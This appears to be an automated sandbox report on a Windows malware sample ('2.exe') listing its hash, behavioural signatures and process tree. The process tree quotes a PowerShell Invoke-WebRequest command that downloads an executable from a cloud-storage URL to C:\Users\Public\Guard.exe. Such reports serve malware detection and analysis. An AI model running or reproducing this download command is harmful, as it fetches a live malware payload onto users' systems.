Analysis
- max time kernel
119s - max time network
124s - platform
windows7_x64 - resource
win7-20240903-en - resource tags
- submitted
06/11/2024, 23:37
General
- Target 2.exe
- Size 1.1MB
- Sample241106-3mdgpaspdn
- SHA256 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Drops file in System32 directory 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 9 IoCs
- Suspicious use of SendNotifyMessage 9 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri "https://my.cloudme.com/v1/ws2/:slight-stood/:web_1/web" -OutFile "C:\Users\Public\Guard.exe""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1956-4-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp
memory/1956-5-0x000000001B580000-0x000000001B862000-memory.dmp
memory/1956-6-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp
memory/1956-7-0x0000000002860000-0x0000000002868000-memory.dmp
memory/1956-8-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp
memory/1956-9-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp
memory/1956-10-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp
memory/1956-11-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp
memory/1956-12-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp